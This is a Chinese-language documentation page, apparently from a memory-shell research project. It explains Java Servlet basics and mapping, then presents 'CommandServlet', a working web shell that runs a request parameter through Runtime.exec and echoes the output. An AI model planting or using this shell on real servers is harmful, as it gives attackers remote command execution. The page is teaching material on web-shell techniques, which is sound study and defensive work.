mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
78 lines
3.7 KiB
Plaintext
78 lines
3.7 KiB
Plaintext
---
|
||
title: Servlet
|
||
---
|
||
|
||
> [Servlet 3.1 规范 — 什么是 Servlet](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Overview/1.1%20What%20is%20a%20Servlet.md)
|
||
|
||
Servlet 是基于 Java 的 Web 组件,就是我们常说的 Web 接口,例如 /hello,JSP 技术也是 Java Servlet 规范的一部分,JSP 文件解析之后也会成为 Servlet 提供 HTTP 服务,只不过它的接口是 JSP 文件名,例如 /app/hello.jsp。
|
||
Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。
|
||
|
||
## HttpServlet
|
||
|
||
99.99% 的时候,我们实现 HttpServlet 抽象类给予我们的能力就可以了,以下每个方法都对应了 HTTP Method 方法,当我们想要实现处理 Get 请求实现 doGet,处理 Post 请求就实现 doPost。
|
||
|
||
```java
|
||
protected void doGet(HttpServletRequest req, HttpServletResponse resp);
|
||
protected void doPost(HttpServletRequest req, HttpServletResponse resp);
|
||
protected void doPut(HttpServletRequest req, HttpServletResponse resp);
|
||
protected void doDelete(HttpServletRequest req, HttpServletResponse resp);
|
||
protected void doHead(HttpServletRequest req, HttpServletResponse resp);
|
||
protected void doOptions(HttpServletRequest req, HttpServletResponse resp);
|
||
protected void doTrace(HttpServletRequest req, HttpServletResponse resp);
|
||
```
|
||
|
||
Servlet 规范中规定了,对于非分布式应用来说,Servlet 容器必须确保对于每个 Servlet 定义只存在一个实例,但是 Web 服务是多线程的,所以 Servlet 是线程不安全的,在 Servlet 中的成员变量都是线程不安全的。
|
||
|
||
针对 Servlet 的路径映射提供了注解的方式和 web.xml 方法,以下两种方式都能定义访问 `/foo` 即调用 CalculatorServlet 中对应的实现方法。
|
||
|
||
```java
|
||
@WebServlet(”/foo”)
|
||
public class CalculatorServlet extends HttpServlet{
|
||
//...
|
||
}
|
||
```
|
||
|
||
```xml
|
||
<servlet>
|
||
<servlet-name>foo</servlet-name>
|
||
<servlet-class>org.example.CalculatorServlet</servlet-class>
|
||
</servlet>
|
||
<servlet-mapping>
|
||
<servlet-name>foo</servlet-name>
|
||
<url-pattern>/foo</url-pattern>
|
||
</servlet-mapping>
|
||
```
|
||
|
||
## ServletShell
|
||
|
||
shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。以下定义了一个命令回显的 ServletShell。
|
||
|
||
1. doGet 调用转发给 doPost,这样我们即支持 GET 也支持 POST,防止某些情况下有请求方法的限制。
|
||
2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。
|
||
|
||
```java
|
||
public class CommandServlet extends HttpServlet {
|
||
public static String paramName;
|
||
|
||
@Override
|
||
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||
doPost(req, resp);
|
||
}
|
||
|
||
@Override
|
||
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
|
||
String cmd = request.getParameter(paramName);
|
||
if (cmd != null) {
|
||
Process exec = Runtime.getRuntime().exec(cmd);
|
||
InputStream inputStream = exec.getInputStream();
|
||
ServletOutputStream outputStream = response.getOutputStream();
|
||
byte[] buf = new byte[8192];
|
||
int length;
|
||
while ((length = inputStream.read(buf)) != -1) {
|
||
outputStream.write(buf, 0, length);
|
||
}
|
||
}
|
||
}
|
||
}
|
||
```
|